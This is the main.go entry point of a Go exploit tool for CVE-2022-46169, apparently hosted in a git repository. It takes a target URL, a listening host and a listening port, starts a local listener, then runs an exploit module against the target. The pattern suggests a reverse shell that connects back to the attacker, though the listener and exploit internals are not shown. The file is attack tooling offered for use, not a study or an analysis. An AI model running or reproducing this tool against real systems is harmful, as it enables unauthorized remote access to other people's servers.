cve-2022-46169/main.go

26 lines
527 B
Go

package main
import (
"time"
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd"
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter"
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener"
)
func main() {
urlTarget, lhost, lport := cmd.GetArguments()
if urlTarget == "" || lhost == "" || lport == "" {
return
}
go listener.Listen(lport)
time.Sleep(1 * time.Second)
exploiter.Exploit(urlTarget, lhost, lport)
// prevent the main goroutine from exiting immediately
select {}
}